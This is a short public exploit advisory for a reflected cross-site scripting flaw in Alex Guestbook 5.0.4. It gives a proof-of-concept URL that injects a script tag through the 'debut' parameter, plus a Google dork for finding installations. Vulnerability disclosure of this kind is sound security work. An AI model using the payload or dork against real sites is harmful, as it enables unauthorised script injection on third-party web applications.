Alex Guestbook 5.0.4 Cross Site Scripting

`# Exploit Title: Alex Guestbook Version 5.0.4 - Cross Site Scripting  
# Exploit Author: Persian Hack Team  
# Discovered by : Mojtaba MobhaM (Mojtaba Kazemi)  
# Vendor Home : http://www.alexguestbook.net/  
# Home : http://persian-team.ir/  
# Google Dork : inurl:alex_guestbook3  
# Telegram Channel: @PersianHackTeam  
# Tested on: Linux  
# Date: 2017-05-23  
  
# POC :  
# Cross Site Scripting :   
# debut Parameter Vulnerable To XSS   
  
http://www.server/alex_guestbook3/?debut=22237"><script>alert(/XSS/)</script>&mots_search=&lang=&skin=&seeAdd=&seeNotes=&seeMess=&test=  
  
# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members  
# Iranian White Hat Hackers  
`